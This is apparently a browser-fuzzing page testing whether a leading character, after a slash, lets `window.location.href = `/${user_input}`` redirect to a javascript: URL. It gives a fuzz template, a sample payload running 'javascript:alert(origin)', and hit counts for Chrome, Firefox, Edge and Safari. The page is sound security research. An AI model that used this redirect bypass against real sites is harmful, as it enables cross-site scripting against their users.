Characters allowed begin from a forward slash character in javascript protocol
Fuzz if window.location.href = `/${user_input}`; can redirect to javascript pseudo protocol.
Created bysiunam321
Created Oct 28, 2025
Updated Oct 28, 2025
Detecting browser...
CategoryURL Handling
VisibilityPublic
TypeJS
CharsetUTF-8
Template used:
const url = new URL(`/${String.fromCodePoint($[i])}javascript:alert(origin)`);0x0D
if (url.protocol === 'javascript:') {0x0D
log($[i]);0x0D
}Sample payloads
const url = new URL(`/${String.fromCodePoint(0)}javascript:alert(origin)`);0x0D
if (url.protocol === 'javascript:') {0x0D
alert(0);0x0D
}Fuzz results
Chrome 144.0.0.0 desktop macOS 10.15.7
Updated
Fri Jan 23 2026
Found 1 result
Loading...
Firefox 148.0 desktop macOS 10.15
Updated
Mon Feb 02 2026
Found 1 result
Loading...
Microsoft Edge 144.0.0.0 desktop Windows NT 10.0
Updated
Mon Jan 26 2026
Found 1 result
Loading...
Safari 26.2 desktop macOS 10.15.7
Updated
Thu Jan 29 2026
Found 1 result
Loading...